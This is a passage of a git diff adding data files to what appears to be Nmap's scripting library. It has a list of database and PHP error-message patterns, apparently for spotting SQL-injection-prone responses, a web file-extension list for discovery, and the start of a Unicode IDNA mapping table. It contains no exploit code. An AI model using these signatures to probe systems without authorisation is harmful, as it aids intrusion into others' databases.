+SQL Error
+SQL Server Driver%]%[SQL Server
+SQL Server JDBC Driver
+SQL command not properly ended
+SQLException
+Supplied argument is not a valid MySQL result resource in
+Supplied argument is not a valid PostgreSQL result
+Syntax error in query expression
+System%.IndexOutOfRangeException
+The error occurred in
+The script whose uid is
+Type mismatch
+Unable to jump to row
+Unable to select %* from
+Unclosed quotation mark
+Unknown column
+Unterminated string constant
+Warning: Cannot modify header information %- headers already sent
+Warning: Supplied argument is not a valid File%-Handle resource in
+Warning: mysql_query%(%)
+Warning: pg_connect%(%): Unable to connect to PostgreSQL server: FATAL
+Warning: require%(%)
+array_merge%(%)
+data source=
+detected an internal error %[IBM%]%[CLI Driver%]%[DB2/6000%]
+error in your SQL syntax near
+getimagesize%(%)
+include_path
+invalid query
+is not allowed to access
+missing expression
+mysql_fetch_array%(%)
+mysql_fetch_assoc%(%)
+mysql_fetch_row%(%)
+mysql_free_result%(%)
+mySQL error with query
+mysql error
+num_rows
+on MySQL result index
+on line
+server at
+server object error
+supplied argument is not a valid MySQL result resource
+session_start%(%)
+unexpected end of SQL command
+You have an error in your SQL syntax
+check the manual that corresponds to your MySQL server version for the right syntax
diff --git a/nselib/data/http-web-files-extensions.lst b/nselib/data/http-web-files-extensions.lst
new file mode 100644
index 0000000..a8c6135
--- /dev/null
+++ b/nselib/data/http-web-files-extensions.lst
@@ -0,0 +1,214 @@
+a4p
+a5w
+adp
+adr
+aex
+alx
+ap
+aro
+asa
+asax
+ascx
+ashx
+asmx
+asp
+aspx
+asr
+atom
+att
+awm
+axd
+bml
+bok
+browser
+btapp
+bwp
+cdf
+cer
+cfm
+cfml
+cgi
+cha
+chat
+chm
+cms
+codasite
+compressed
+con
+cpg
+crdownload
+crl
+crt
+cshtml
+csp
+csr
+css
+dap
+dbm
+dcr
+der
+dhtml
+disco
+discomap
+dll
+dml
+do
+dochtml
+docmhtml
+dothtml
+download
+dtd
+dwt
+ece
+edge
+epibrw
+esproj
+ewp
+fcgi
+fmp
+fwp
+gne
+gsp
+hdm
+hdml
+htaccess
+htc
+htm
+html
+htx
+hxs
+hype
+idc
+ihtml
+iqy
+itms
+itpc
+iwdgt
+jcz
+jhtml
+jnlp
+js
+json
+jsp
+jspa
+jspx
+jst
+jvs
+jws
+las
+lasso
+lassoapp
+lbc
+less
+maff
+map
+mapx
+master
+mht
+mhtml
+moz
+mspx
+mvc
+mvr
+nxg
+nzb
+obml
+ognc
+opml
+oth
+p12
+p7
+p7b
+p7c
+pac
+page
+pem
+php%d?
+phtm
+phtml
+pl
+ppthtml
+pptmhtml
+prf
+pro
+psp
+ptw
+pub
+qbo
+qf
+qrm
+rhtml
+rjs
+rna
+rss
+rt
+rw3
+rwp
+rwsw
+rwtheme
+saveddeck
+sdb
+seam
+sht
+shtm
+shtml
+site
+sitemap
+sites2
+spc
+srf
+ssp
+stc
+stl
+stm
+stml
+stp
+suck
+svc
+svr
+swz
+tvpi
+tvvi
+ucf
+uhtml
+url
+vbd
+vbhtml
+vlp
+vrml
+vsdisco
+wbxml
+wdgt
+web
+webarchive
+webbookmark
+webhistory
+webloc
+website
+webz
+wgp
+wgt
+whtt
+widget
+wml
+wn
+woa
+wpp
+wpx
+wrf
+wsdl
+xbel
+xbl
+xfdl
+xht
+xhtm
+xhtml
+xml
+xpd
+xss
+xul
+xws
+zfo
+zhtml
+zul
+zvz
diff --git a/nselib/data/idnaMappings.lua b/nselib/data/idnaMappings.lua
new file mode 100755
index 0000000..721f059
--- /dev/null
+++ b/nselib/data/idnaMappings.lua
@@ -0,0 +1,13307 @@
+---
+-- Library mapping for handling codepoints according to IDNA standard.
+--
+-- All the mappings are imported from Version 10.0.0 of UTS #46, Unicode IDNA
+-- Compatibility Processing.
+-- References:
+-- * http://www.unicode.org/Public/idna/10.0.0/
+--
+-- @author Rewanth Cool
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local stdnse = require "stdnse"
+
+_ENV = stdnse.module("idnaMappings", stdnse.seeall)
+
+-- The Unicode Consortium approved the mappings below.
+tbl = {
+ [0x002F] = {status="disallowed"}, -- SOLIDUS
+ -- HYPHEN-MINUS..FULL STOP
+ [0x002D] = {status="valid"},
+ [0x002E] = {status="valid"},
+ [0x0041] = 0x0061, -- LATIN CAPITAL LETTER A
+ [0x0042] = 0x0062, -- LATIN CAPITAL LETTER B
+ [0x0043] = 0x0063, -- LATIN CAPITAL LETTER C
+ [0x0044] = 0x0064, -- LATIN CAPITAL LETTER D
+ [0x0045] = 0x0065, -- LATIN CAPITAL LETTER E
+ [0x0046] = 0x0066, -- LATIN CAPITAL LETTER F
+ [0x0047] = 0x0067, -- LATIN CAPITAL LETTER G
+ [0x0048] = 0x0068, -- LATIN CAPITAL LETTER H
+ [0x0049] = 0x0069, -- LATIN CAPITAL LETTER I
+ [0x004A] = 0x006A, -- LATIN CAPITAL LETTER J
+ [0x004B] = 0x006B, -- LATIN CAPITAL LETTER K
+ [0x004C] = 0x006C, -- LATIN CAPITAL LETTER L
+ [0x004D] = 0x006D, -- LATIN CAPITAL LETTER M
+ [0x004E] = 0x006E, -- LATIN CAPITAL LETTER N
+ [0x004F] = 0x006F, -- LATIN CAPITAL LETTER O
+ [0x0050] = 0x0070, -- LATIN CAPITAL LETTER P
+ [0x0051] = 0x0071, -- LATIN CAPITAL LETTER Q
+ [0x0052] = 0x0072, -- LATIN CAPITAL LETTER R
+ [0x0053] = 0x0073, -- LATIN CAPITAL LETTER S
+ [0x0054] = 0x0074, -- LATIN CAPITAL LETTER T
+ [0x0055] = 0x0075, -- LATIN CAPITAL LETTER U
+ [0x0056] = 0x0076, -- LATIN CAPITAL LETTER V
+ [0x0057] = 0x0077, -- LATIN CAPITAL LETTER W
+ [0x0058] = 0x0078, -- LATIN CAPITAL LETTER X
+ [0x0059] = 0x0079, -- LATIN CAPITAL LETTER Y
+ [0x005A] = 0x007A, -- LATIN CAPITAL LETTER Z
+ -- LEFT CURLY BRACKET..<control-007F>
+ [0x007B] = {status="disallowed"},
+ [0x007C] = {status="disallowed"},
+ [0x007D] = {status="disallowed"},
+ [0x007E] = {status="disallowed"},
+ [0x007F] = {status="disallowed"},
+ [0x00A0] = {status="disallowed"}, -- NO-BREAK SPACE
+ [0x00A8] = {status="disallowed"}, -- DIAERESIS
+ [0x00A9] = {status="disallowed"}, -- COPYRIGHT SIGN
+ [0x00AA] = 0x0061, -- FEMININE ORDINAL INDICATOR
+ [0x00AD] = {status='ignored'}, -- SOFT HYPHEN
+ [0x00AE] = {status="disallowed"}, -- REGISTERED SIGN
+ [0x00AF] = {status="disallowed"}, -- MACRON
+ -- LEFT-POINTING DOUBLE ANGLE QUOTATION MARK..NOT SIGN
+ [0x00AB] = {status="disallowed"},
+ [0x00AC] = {status="disallowed"},
+ [0x00B2] = 0x0032, -- SUPERSCRIPT TWO
+ [0x00B3] = 0x0033, -- SUPERSCRIPT THREE
+ [0x00B4] = {status="disallowed"}, -- ACUTE ACCENT
+ [0x00B5] = 0x03BC, -- MICRO SIGN
+ [0x00B6] = {status="disallowed"}, -- PILCROW SIGN
+ [0x00B7] = {status="valid"}, -- MIDDLE DOT
+ [0x00B8] = {status="disallowed"}, -- CEDILLA
+ [0x00B9] = 0x0031, -- SUPERSCRIPT ONE
+ [0x00BA] = 0x006F, -- MASCULINE ORDINAL INDICATOR
+ [0x00BB] = {status="disallowed"}, -- RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK
+ [0x00BC] = {0x0031, 0x2044, 0x0034}, -- VULGAR FRACTION ONE QUARTER
+ [0x00BD] = {0x0031, 0x2044, 0x0032}, -- VULGAR FRACTION ONE HALF
+ [0x00BE] = {0x0033, 0x2044, 0x0034}, -- VULGAR FRACTION THREE QUARTERS
+ [0x00BF] = {status="disallowed"}, -- INVERTED QUESTION MARK
+ [0x00C0] = 0x00E0, -- LATIN CAPITAL LETTER A WITH GRAVE
+ [0x00C1] = 0x00E1, -- LATIN CAPITAL LETTER A WITH ACUTE
+ [0x00C2] = 0x00E2, -- LATIN CAPITAL LETTER A WITH CIRCUMFLEX
+ [0x00C3] = 0x00E3, -- LATIN CAPITAL LETTER A WITH TILDE
+ [0x00C4] = 0x00E4, -- LATIN CAPITAL LETTER A WITH DIAERESIS
+ [0x00C5] = 0x00E5, -- LATIN CAPITAL LETTER A WITH RING ABOVE
+ [0x00C6] = 0x00E6, -- LATIN CAPITAL LETTER AE
+ [0x00C7] = 0x00E7, -- LATIN CAPITAL LETTER C WITH CEDILLA
+ [0x00C8] = 0x00E8, -- LATIN CAPITAL LETTER E WITH GRAVE
+ [0x00C9] = 0x00E9, -- LATIN CAPITAL LETTER E WITH ACUTE
+ [0x00CA] = 0x00EA, -- LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+ [0x00CB] = 0x00EB, -- LATIN CAPITAL LETTER E WITH DIAERESIS
+ [0x00CC] = 0x00EC, -- LATIN CAPITAL LETTER I WITH GRAVE
+ [0x00CD] = 0x00ED, -- LATIN CAPITAL LETTER I WITH ACUTE
+ [0x00CE] = 0x00EE, -- LATIN CAPITAL LETTER I WITH CIRCUMFLEX
+ [0x00CF] = 0x00EF, -- LATIN CAPITAL LETTER I WITH DIAERESIS
+ [0x00D0] = 0x00F0, -- LATIN CAPITAL LETTER ETH
+ [0x00D1] = 0x00F1, -- LATIN CAPITAL LETTER N WITH TILDE
+ [0x00D2] = 0x00F2, -- LATIN CAPITAL LETTER O WITH GRAVE
+ [0x00D3] = 0x00F3, -- LATIN CAPITAL LETTER O WITH ACUTE
+ [0x00D4] = 0x00F4, -- LATIN CAPITAL LETTER O WITH CIRCUMFLEX
+ [0x00D5] = 0x00F5, -- LATIN CAPITAL LETTER O WITH TILDE
+ [0x00D6] = 0x00F6, -- LATIN CAPITAL LETTER O WITH DIAERESIS
+ [0x00D7] = {status="disallowed"}, -- MULTIPLICATION SIGN
+ [0x00D8] = 0x00F8, -- LATIN CAPITAL LETTER O WITH STROKE
+ [0x00D9] = 0x00F9, -- LATIN CAPITAL LETTER U WITH GRAVE
+ [0x00DA] = 0x00FA, -- LATIN CAPITAL LETTER U WITH ACUTE
+ [0x00DB] = 0x00FB, -- LATIN CAPITAL LETTER U WITH CIRCUMFLEX
+ [0x00DC] = 0x00FC, -- LATIN CAPITAL LETTER U WITH DIAERESIS
+ [0x00DD] = 0x00FD, -- LATIN CAPITAL LETTER Y WITH ACUTE
+ [0x00DE] = 0x00FE, -- LATIN CAPITAL LETTER THORN
+ [0x00DF] = {status='deviation', {0x0073, 0x0073}}, -- LATIN SMALL LETTER SHARP S
+ -- DEGREE SIGN..PLUS-MINUS SIGN
+ [0x00B0] = {status="disallowed"},
+ [0x00B1] = {status="disallowed"},
+ [0x00F7] = {status="disallowed"}, -- DIVISION SIGN
+ [0x0100] = 0x0101, -- LATIN CAPITAL LETTER A WITH MACRON
+ [0x0101] = {status="valid"}, -- LATIN SMALL LETTER A WITH MACRON
+ [0x0102] = 0x0103, -- LATIN CAPITAL LETTER A WITH BREVE
+ [0x0103] = {status="valid"}, -- LATIN SMALL LETTER A WITH BREVE
+ [0x0104] = 0x0105, -- LATIN CAPITAL LETTER A WITH OGONEK
+ [0x0105] = {status="valid"}, -- LATIN SMALL LETTER A WITH OGONEK
+ [0x0106] = 0x0107, -- LATIN CAPITAL LETTER C WITH ACUTE
+ [0x0107] = {status="valid"}, -- LATIN SMALL LETTER C WITH ACUTE
+ [0x0108] = 0x0109, -- LATIN CAPITAL LETTER C WITH CIRCUMFLEX
+ [0x0109] = {status="valid"}, -- LATIN SMALL LETTER C WITH CIRCUMFLEX
+ [0x010A] = 0x010B, -- LATIN CAPITAL LETTER C WITH DOT ABOVE
+ [0x010B] = {status="valid"}, -- LATIN SMALL LETTER C WITH DOT ABOVE
+ [0x010C] = 0x010D, -- LATIN CAPITAL LETTER C WITH CARON
+ [0x010D] = {status="valid"}, -- LATIN SMALL LETTER C WITH CARON
+ [0x010E] = 0x010F, -- LATIN CAPITAL LETTER D WITH CARON
+ [0x010F] = {status="valid"}, -- LATIN SMALL LETTER D WITH CARON
+ [0x0110] = 0x0111, -- LATIN CAPITAL LETTER D WITH STROKE
+ [0x0111] = {status="valid"}, -- LATIN SMALL LETTER D WITH STROKE
+ [0x0112] = 0x0113, -- LATIN CAPITAL LETTER E WITH MACRON
+ [0x0113] = {status="valid"}, -- LATIN SMALL LETTER E WITH MACRON
+ [0x0114] = 0x0115, -- LATIN CAPITAL LETTER E WITH BREVE
+ [0x0115] = {status="valid"}, -- LATIN SMALL LETTER E WITH BREVE
+ [0x0116] = 0x0117, -- LATIN CAPITAL LETTER E WITH DOT ABOVE
+ [0x0117] = {status="valid"}, -- LATIN SMALL LETTER E WITH DOT ABOVE
+ [0x0118] = 0x0119, -- LATIN CAPITAL LETTER E WITH OGONEK
+ [0x0119] = {status="valid"}, -- LATIN SMALL LETTER E WITH OGONEK
+ [0x011A] = 0x011B, -- LATIN CAPITAL LETTER E WITH CARON
+ [0x011B] = {status="valid"}, -- LATIN SMALL LETTER E WITH CARON
+ [0x011C] = 0x011D, -- LATIN CAPITAL LETTER G WITH CIRCUMFLEX
+ [0x011D] = {status="valid"}, -- LATIN SMALL LETTER G WITH CIRCUMFLEX
+ [0x011E] = 0x011F, -- LATIN CAPITAL LETTER G WITH BREVE
+ [0x011F] = {status="valid"}, -- LATIN SMALL LETTER G WITH BREVE
+ [0x0120] = 0x0121, -- LATIN CAPITAL LETTER G WITH DOT ABOVE
+ [0x0121] = {status="valid"}, -- LATIN SMALL LETTER G WITH DOT ABOVE
+ [0x0122] = 0x0123, -- LATIN CAPITAL LETTER G WITH CEDILLA
+ [0x0123] = {status="valid"}, -- LATIN SMALL LETTER G WITH CEDILLA
+ [0x0124] = 0x0125, -- LATIN CAPITAL LETTER H WITH CIRCUMFLEX
+ [0x0125] = {status="valid"}, -- LATIN SMALL LETTER H WITH CIRCUMFLEX
+ [0x0126] = 0x0127, -- LATIN CAPITAL LETTER H WITH STROKE
+ [0x0127] = {status="valid"}, -- LATIN SMALL LETTER H WITH STROKE
+ [0x0128] = 0x0129, -- LATIN CAPITAL LETTER I WITH TILDE
+ [0x0129] = {status="valid"}, -- LATIN SMALL LETTER I WITH TILDE
+ [0x012A] = 0x012B, -- LATIN CAPITAL LETTER I WITH MACRON
+ [0x012B] = {status="valid"}, -- LATIN SMALL LETTER I WITH MACRON
+ [0x012C] = 0x012D, -- LATIN CAPITAL LETTER I WITH BREVE
+ [0x012D] = {status="valid"}, -- LATIN SMALL LETTER I WITH BREVE
+ [0x012E] = 0x012F, -- LATIN CAPITAL LETTER I WITH OGONEK
+ [0x012F] = {status="valid"}, -- LATIN SMALL LETTER I WITH OGONEK
+ [0x0130] = {0x0069, 0x0307}, -- LATIN CAPITAL LETTER I WITH DOT ABOVE
+ [0x0131] = {status="valid"}, -- LATIN SMALL LETTER DOTLESS I
+ [0x0134] = 0x0135, -- LATIN CAPITAL LETTER J WITH CIRCUMFLEX
+ [0x0135] = {status="valid"}, -- LATIN SMALL LETTER J WITH CIRCUMFLEX
+ [0x0136] = 0x0137, -- LATIN CAPITAL LETTER K WITH CEDILLA
+ -- LATIN CAPITAL LIGATURE IJ..LATIN SMALL LIGATURE IJ
+ [0x0132] = {0x0069, 0x006A},
+ [0x0133] = {0x0069, 0x006A},
+ [0x0139] = 0x013A, -- LATIN CAPITAL LETTER L WITH ACUTE
+ [0x013A] = {status="valid"}, -- LATIN SMALL LETTER L WITH ACUTE
+ [0x013B] = 0x013C, -- LATIN CAPITAL LETTER L WITH CEDILLA
+ [0x013C] = {status="valid"}, -- LATIN SMALL LETTER L WITH CEDILLA
+ [0x013D] = 0x013E, -- LATIN CAPITAL LETTER L WITH CARON
+ [0x013E] = {status="valid"}, -- LATIN SMALL LETTER L WITH CARON
+ -- LATIN SMALL LETTER K WITH CEDILLA..LATIN SMALL LETTER KRA
+ [0x0137] = {status="valid"},
+ [0x0138] = {status="valid"},
+ [0x0141] = 0x0142, -- LATIN CAPITAL LETTER L WITH STROKE
+ [0x0142] = {status="valid"}, -- LATIN SMALL LETTER L WITH STROKE
+ [0x0143] = 0x0144, -- LATIN CAPITAL LETTER N WITH ACUTE
+ [0x0144] = {status="valid"}, -- LATIN SMALL LETTER N WITH ACUTE
+ [0x0145] = 0x0146, -- LATIN CAPITAL LETTER N WITH CEDILLA
+ [0x0146] = {status="valid"}, -- LATIN SMALL LETTER N WITH CEDILLA
+ [0x0147] = 0x0148, -- LATIN CAPITAL LETTER N WITH CARON
+ [0x0148] = {status="valid"}, -- LATIN SMALL LETTER N WITH CARON
+ [0x0149] = {0x02BC, 0x006E}, -- LATIN SMALL LETTER N PRECEDED BY APOSTROPHE
+ [0x014A] = 0x014B, -- LATIN CAPITAL LETTER ENG
+ [0x014B] = {status="valid"}, -- LATIN SMALL LETTER ENG
+ [0x014C] = 0x014D, -- LATIN CAPITAL LETTER O WITH MACRON
+ [0x014D] = {status="valid"}, -- LATIN SMALL LETTER O WITH MACRON
+ [0x014E] = 0x014F, -- LATIN CAPITAL LETTER O WITH BREVE
+ [0x014F] = {status="valid"}, -- LATIN SMALL LETTER O WITH BREVE
+ [0x0150] = 0x0151, -- LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+ [0x0151] = {status="valid"}, -- LATIN SMALL LETTER O WITH DOUBLE ACUTE
+ [0x0152] = 0x0153, -- LATIN CAPITAL LIGATURE OE
+ [0x0153] = {status="valid"}, -- LATIN SMALL LIGATURE OE
+ [0x0154] = 0x0155, -- LATIN CAPITAL LETTER R WITH ACUTE
+ [0x0155] = {status="valid"}, -- LATIN SMALL LETTER R WITH ACUTE
+ [0x0156] = 0x0157, -- LATIN CAPITAL LETTER R WITH CEDILLA
+ [0x0157] = {status="valid"}, -- LATIN SMALL LETTER R WITH CEDILLA
+ [0x0158] = 0x0159, -- LATIN CAPITAL LETTER R WITH CARON
+ [0x0159] = {status="valid"}, -- LATIN SMALL LETTER R WITH CARON
+ [0x015A] = 0x015B, -- LATIN CAPITAL LETTER S WITH ACUTE
+ [0x015B] = {status="valid"}, -- LATIN SMALL LETTER S WITH ACUTE
+ [0x015C] = 0x015D, -- LATIN CAPITAL LETTER S WITH CIRCUMFLEX
+ [0x015D] = {status="valid"}, -- LATIN SMALL LETTER S WITH CIRCUMFLEX
+ [0x015E] = 0x015F, -- LATIN CAPITAL LETTER S WITH CEDILLA
+ [0x015F] = {status="valid"}, -- LATIN SMALL LETTER S WITH CEDILLA
+ [0x0160] = 0x0161, -- LATIN CAPITAL LETTER S WITH CARON
+ [0x0161] = {status="valid"}, -- LATIN SMALL LETTER S WITH CARON
+ [0x0162] = 0x0163, -- LATIN CAPITAL LETTER T WITH CEDILLA
+ [0x0163] = {status="valid"}, -- LATIN SMALL LETTER T WITH CEDILLA
+ [0x0164] = 0x0165, -- LATIN CAPITAL LETTER T WITH CARON
+ [0x0165] = {status="valid"}, -- LATIN SMALL LETTER T WITH CARON
+ [0x0166] = 0x0167, -- LATIN CAPITAL LETTER T WITH STROKE
+ [0x0167] = {status="valid"}, -- LATIN SMALL LETTER T WITH STROKE
+ [0x0168] = 0x0169, -- LATIN CAPITAL LETTER U WITH TILDE
+ [0x0169] = {status="valid"}, -- LATIN SMALL LETTER U WITH TILDE
+ [0x016A] = 0x016B, -- LATIN CAPITAL LETTER U WITH MACRON
+ [0x016B] = {status="valid"}, -- LATIN SMALL LETTER U WITH MACRON
+ [0x016C] = 0x016D, -- LATIN CAPITAL LETTER U WITH BREVE
+ [0x016D] = {status="valid"}, -- LATIN SMALL LETTER U WITH BREVE
+ [0x016E] = 0x016F, -- LATIN CAPITAL LETTER U WITH RING ABOVE
+ [0x016F] = {status="valid"}, -- LATIN SMALL LETTER U WITH RING ABOVE
+ [0x0170] = 0x0171, -- LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+ [0x0171] = {status="valid"}, -- LATIN SMALL LETTER U WITH DOUBLE ACUTE
+ [0x0172] = 0x0173, -- LATIN CAPITAL LETTER U WITH OGONEK
+ [0x0173] = {status="valid"}, -- LATIN SMALL LETTER U WITH OGONEK
+ [0x0174] = 0x0175, -- LATIN CAPITAL LETTER W WITH CIRCUMFLEX
+ [0x0175] = {status="valid"}, -- LATIN SMALL LETTER W WITH CIRCUMFLEX
+ [0x0176] = 0x0177, -- LATIN CAPITAL LETTER Y WITH CIRCUMFLEX
+ [0x0177] = {status="valid"}, -- LATIN SMALL LETTER Y WITH CIRCUMFLEX
+ [0x0178] = 0x00FF, -- LATIN CAPITAL LETTER Y WITH DIAERESIS
+ [0x0179] = 0x017A, -- LATIN CAPITAL LETTER Z WITH ACUTE
+ [0x017A] = {status="valid"}, -- LATIN SMALL LETTER Z WITH ACUTE
+ [0x017B] = 0x017C, -- LATIN CAPITAL LETTER Z WITH DOT ABOVE
+ [0x017C] = {status="valid"}, -- LATIN SMALL LETTER Z WITH DOT ABOVE
+ [0x017D] = 0x017E, -- LATIN CAPITAL LETTER Z WITH CARON
+ [0x017E] = {status="valid"}, -- LATIN SMALL LETTER Z WITH CARON
+ [0x017F] = 0x0073, -- LATIN SMALL LETTER LONG S
+ [0x0180] = {status="valid"}, -- LATIN SMALL LETTER B WITH STROKE
+ [0x0181] = 0x0253, -- LATIN CAPITAL LETTER B WITH HOOK
+ [0x0182] = 0x0183, -- LATIN CAPITAL LETTER B WITH TOPBAR
+ [0x0183] = {status="valid"}, -- LATIN SMALL LETTER B WITH TOPBAR
+ [0x0184] = 0x0185, -- LATIN CAPITAL LETTER TONE SIX
+ [0x0185] = {status="valid"}, -- LATIN SMALL LETTER TONE SIX
+ [0x0186] = 0x0254, -- LATIN CAPITAL LETTER OPEN O
+ [0x0187] = 0x0188, -- LATIN CAPITAL LETTER C WITH HOOK
+ [0x0188] = {status="valid"}, -- LATIN SMALL LETTER C WITH HOOK
+ [0x0189] = 0x0256, -- LATIN CAPITAL LETTER AFRICAN D
+ [0x018A] = 0x0257, -- LATIN CAPITAL LETTER D WITH HOOK
+ [0x018B] = 0x018C, -- LATIN CAPITAL LETTER D WITH TOPBAR
+ -- LATIN CAPITAL LETTER L WITH MIDDLE DOT..LATIN SMALL LETTER L WITH MIDDLE DOT
+ [0x013F] = {0x006C, 0x00B7},
+ [0x0140] = {0x006C, 0x00B7},
+ [0x018E] = 0x01DD, -- LATIN CAPITAL LETTER REVERSED E
+ [0x018F] = 0x0259, -- LATIN CAPITAL LETTER SCHWA
+ [0x0190] = 0x025B, -- LATIN CAPITAL LETTER OPEN E
+ [0x0191] = 0x0192, -- LATIN CAPITAL LETTER F WITH HOOK
+ [0x0192] = {status="valid"}, -- LATIN SMALL LETTER F WITH HOOK
+ [0x0193] = 0x0260, -- LATIN CAPITAL LETTER G WITH HOOK
+ [0x0194] = 0x0263, -- LATIN CAPITAL LETTER GAMMA
+ [0x0195] = {status="valid"}, -- LATIN SMALL LETTER HV
+ [0x0196] = 0x0269, -- LATIN CAPITAL LETTER IOTA
+ [0x0197] = 0x0268, -- LATIN CAPITAL LETTER I WITH STROKE
+ [0x0198] = 0x0199, -- LATIN CAPITAL LETTER K WITH HOOK
+ -- LATIN SMALL LETTER D WITH TOPBAR..LATIN SMALL LETTER TURNED DELTA
+ [0x018C] = {status="valid"},
+ [0x018D] = {status="valid"},
+ [0x019C] = 0x026F, -- LATIN CAPITAL LETTER TURNED M
+ [0x019D] = 0x0272, -- LATIN CAPITAL LETTER N WITH LEFT HOOK
+ [0x019E] = {status="valid"}, -- LATIN SMALL LETTER N WITH LONG RIGHT LEG
+ [0x019F] = 0x0275, -- LATIN CAPITAL LETTER O WITH MIDDLE TILDE
+ [0x01A0] = 0x01A1, -- LATIN CAPITAL LETTER O WITH HORN
+ [0x01A1] = {status="valid"}, -- LATIN SMALL LETTER O WITH HORN
+ [0x01A2] = 0x01A3, -- LATIN CAPITAL LETTER OI
+ [0x01A3] = {status="valid"}, -- LATIN SMALL LETTER OI
+ [0x01A4] = 0x01A5, -- LATIN CAPITAL LETTER P WITH HOOK
+ [0x01A5] = {status="valid"}, -- LATIN SMALL LETTER P WITH HOOK
+ [0x01A6] = 0x0280, -- LATIN LETTER YR
+ [0x01A7] = 0x01A8, -- LATIN CAPITAL LETTER TONE TWO
+ [0x01A8] = {status="valid"}, -- LATIN SMALL LETTER TONE TWO
+ [0x01A9] = 0x0283, -- LATIN CAPITAL LETTER ESH
+ -- LATIN SMALL LETTER K WITH HOOK..LATIN SMALL LETTER LAMBDA WITH STROKE
+ [0x0199] = {status="valid"},
+ [0x019A] = {status="valid"},
+ [0x019B] = {status="valid"},
+ [0x01AC] = 0x01AD, -- LATIN CAPITAL LETTER T WITH HOOK
+ [0x01AD] = {status="valid"}, -- LATIN SMALL LETTER T WITH HOOK
+ [0x01AE] = 0x0288, -- LATIN CAPITAL LETTER T WITH RETROFLEX HOOK
+ [0x01AF] = 0x01B0, -- LATIN CAPITAL LETTER U WITH HORN
+ [0x01B0] = {status="valid"}, -- LATIN SMALL LETTER U WITH HORN
+ [0x01B1] = 0x028A, -- LATIN CAPITAL LETTER UPSILON
+ [0x01B2] = 0x028B, -- LATIN CAPITAL LETTER V WITH HOOK
+ [0x01B3] = 0x01B4, -- LATIN CAPITAL LETTER Y WITH HOOK
+ [0x01B4] = {status="valid"}, -- LATIN SMALL LETTER Y WITH HOOK
+ [0x01B5] = 0x01B6, -- LATIN CAPITAL LETTER Z WITH STROKE
+ [0x01B6] = {status="valid"}, -- LATIN SMALL LETTER Z WITH STROKE
+ [0x01B7] = 0x0292, -- LATIN CAPITAL LETTER EZH
+ [0x01B8] = 0x01B9, -- LATIN CAPITAL LETTER EZH REVERSED
+ -- LATIN LETTER REVERSED ESH LOOP..LATIN SMALL LETTER T WITH PALATAL HOOK
+ [0x01AA] = {status="valid"},
+ [0x01AB] = {status="valid"},
+ [0x01BC] = 0x01BD, -- LATIN CAPITAL LETTER TONE FIVE
+ -- LATIN SMALL LETTER EZH REVERSED..LATIN LETTER TWO WITH STROKE
+ [0x01B9] = {status="valid"},
+ [0x01BA] = {status="valid"},
+ [0x01BB] = {status="valid"},
+ -- LATIN CAPITAL LETTER DZ WITH CARON..LATIN SMALL LETTER DZ WITH CARON
+ [0x01C4] = {0x0064, 0x017E},
+ [0x01C5] = {0x0064, 0x017E},
+ [0x01C6] = {0x0064, 0x017E},
+ -- LATIN CAPITAL LETTER LJ..LATIN SMALL LETTER LJ
+ [0x01C7] = {0x006C, 0x006A},
+ [0x01C8] = {0x006C, 0x006A},
+ [0x01C9] = {0x006C, 0x006A},
+ [0x01CD] = 0x01CE, -- LATIN CAPITAL LETTER A WITH CARON
+ [0x01CE] = {status="valid"}, -- LATIN SMALL LETTER A WITH CARON
+ [0x01CF] = 0x01D0, -- LATIN CAPITAL LETTER I WITH CARON
+ [0x01D0] = {status="valid"}, -- LATIN SMALL LETTER I WITH CARON
+ [0x01D1] = 0x01D2, -- LATIN CAPITAL LETTER O WITH CARON
+ [0x01D2] = {status="valid"}, -- LATIN SMALL LETTER O WITH CARON
+ [0x01D3] = 0x01D4, -- LATIN CAPITAL LETTER U WITH CARON
+ [0x01D4] = {status="valid"}, -- LATIN SMALL LETTER U WITH CARON
+ [0x01D5] = 0x01D6, -- LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+ [0x01D6] = {status="valid"}, -- LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+ [0x01D7] = 0x01D8, -- LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+ [0x01D8] = {status="valid"}, -- LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+ [0x01D9] = 0x01DA, -- LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+ [0x01DA] = {status="valid"}, -- LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+ [0x01DB] = 0x01DC, -- LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+ -- LATIN CAPITAL LETTER NJ..LATIN SMALL LETTER NJ
+ [0x01CA] = {0x006E, 0x006A},
+ [0x01CB] = {0x006E, 0x006A},
+ [0x01CC] = {0x006E, 0x006A},
+ [0x01DE] = 0x01DF, -- LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+ [0x01DF] = {status="valid"}, -- LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+ [0x01E0] = 0x01E1, -- LATIN CAPITAL LETTER A WITH DOT ABOVE AND MACRON
+ [0x01E1] = {status="valid"}, -- LATIN SMALL LETTER A WITH DOT ABOVE AND MACRON
+ [0x01E2] = 0x01E3, -- LATIN CAPITAL LETTER AE WITH MACRON
+ [0x01E3] = {status="valid"}, -- LATIN SMALL LETTER AE WITH MACRON
+ [0x01E4] = 0x01E5, -- LATIN CAPITAL LETTER G WITH STROKE
+ [0x01E5] = {status="valid"}, -- LATIN SMALL LETTER G WITH STROKE
+ [0x01E6] = 0x01E7, -- LATIN CAPITAL LETTER G WITH CARON
+ [0x01E7] = {status="valid"}, -- LATIN SMALL LETTER G WITH CARON
+ [0x01E8] = 0x01E9, -- LATIN CAPITAL LETTER K WITH CARON
+ [0x01E9] = {status="valid"}, -- LATIN SMALL LETTER K WITH CARON
+ [0x01EA] = 0x01EB, -- LATIN CAPITAL LETTER O WITH OGONEK
+ [0x01EB] = {status="valid"}, -- LATIN SMALL LETTER O WITH OGONEK
+ [0x01EC] = 0x01ED, -- LATIN CAPITAL LETTER O WITH OGONEK AND MACRON
+ [0x01ED] = {status="valid"}, -- LATIN SMALL LETTER O WITH OGONEK AND MACRON
+ [0x01EE] = 0x01EF, -- LATIN CAPITAL LETTER EZH WITH CARON
